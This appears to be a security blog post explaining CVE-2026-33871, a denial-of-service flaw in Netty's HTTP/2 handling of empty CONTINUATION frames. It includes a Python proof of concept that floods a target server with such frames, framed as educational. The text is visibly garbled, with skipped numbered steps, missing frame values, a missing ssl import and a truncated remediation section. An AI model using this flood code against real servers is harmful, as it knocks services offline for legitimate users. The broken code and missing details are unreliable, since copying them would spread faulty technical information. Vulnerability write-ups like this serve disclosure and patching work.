CVE-2026-33871 uncovers a serious denial of service (DoS) vulnerability in Netty, one of the most widely used asynchronous network application frameworks for Java. Found in versions prior to 4.1.132.Final and 4.2.10.Final, this issue lets a remote attacker exhaust server CPU resources by sending a flood of special HTTP/2 frames, crippling the service at minimal cost. This post demystifies the vulnerability, explains its mechanism, demonstrates exploitation, and offers remediation strategies.

What is Netty and Why It Matters

Netty is a foundation for high-performance, scalable network servers—think web servers, game backends, microservices, and APIs. If you’re building anything network-related in Java, chances are you’ve used Netty directly or through another library.

What’s a CONTINUATION Frame?

In HTTP/2, header fields (like cookies and custom headers) are often too large to fit in a single frame. The HEADERS frame starts the sequence, followed by one or more CONTINUATION frames. These frames allow splitting the header block into manageable chunks.

Netty’s Oversight

Netty’s HTTP/2 implementation limited the total header size to avoid abuse. But here’s the catch: it did not restrict the number of CONTINUATION frames, nor did it account for frames with zero payload. An attacker can send a nearly endless barrage of empty (zero-byte) CONTINUATION frames to keep a stream open, bypassing the header size limit yet causing the server to do extra, useless processing for each.

Low bandwidth usage — attacker need not send much data.

- High server CPU load — each CONTINUATION frame forces the server to check state, parse protocol, and handle edge cases.
- Service outage — under sustained attack, Netty HTTP/2 servers freeze or become unresponsive, denying access to legitimate users.

The exploit is strikingly simple. Here’s a high-level sequence

1. Open an HTTP/2 connection to a target Netty server.

Flood the connection with empty CONTINUATION frames (i.e., frames with length=).

4. Repeat — the server will never finalize the request because the END_HEADERS flag is never set, and the header block is never completed.

This keeps server work ongoing for each frame received, even though the payload is useless.

Let’s look at a simple (Python) exploit snippet using h2 (the HTTP/2 library)

import socket
import h2.connection
import h2.events

# Connect to the Netty HTTP/2 server
s = socket.create_connection(('victim.server', 443))
s = ssl.wrap_socket(s)

conn = h2.connection.H2Connection()
conn.initiate_connection()
s.sendall(conn.data_to_send())

# Start a HEADERS frame (for simplicity, GET /)
headers = [
    (':method', 'GET'),
    (':path', '/'),
    (':scheme', 'https'),
    (':authority', 'victim.server')
]
conn.send_headers(1, headers, end_stream=False, end_headers=False)
s.sendall(conn.data_to_send())

# Send a flood of empty CONTINUATION frames
for _ in range(100000):  # Could be infinite in practice
    # Build raw CONTINUATION frame: frame type=x9, flags=x, length=
    frame = b'\x00\x00\x00'      # Length: 
    frame += b'\x09'             # Type: CONTINUATION
    frame += b'\x00'             # Flags: none
    frame += b'\x00\x00\x00\x01' # Stream ID: 1
    s.sendall(frame)

print("Flood sent. Target should be unresponsive.")

Disclaimer:
This code is for educational purposes only. Never attack systems you don’t have explicit permission to test.

4.2.10.Final

These versions add a cap on the number of CONTINUATION frames per header block as well as checks for progress in header assembly.

- Netty Security Advisory GHSA-mv9f-f37c-6h2h (GitHub)
- Netty Changelog
- CVE Entry - CVE-2026-33871

Conclusion

CVE-2026-33871 shows how protocol quirks can lead to large-scale outages even in mature, widely adopted frameworks. The fix is easy—upgrade Netty—yet patching must be a priority due to the exploit’s triviality. Review your server dependencies, and always monitor protocol-level activity to catch the next subtle bug before it bites!

Timeline

Published on: 03/27/2026 19:55:23 UTC
Last modified on: 03/27/2026 20:16:34 UTC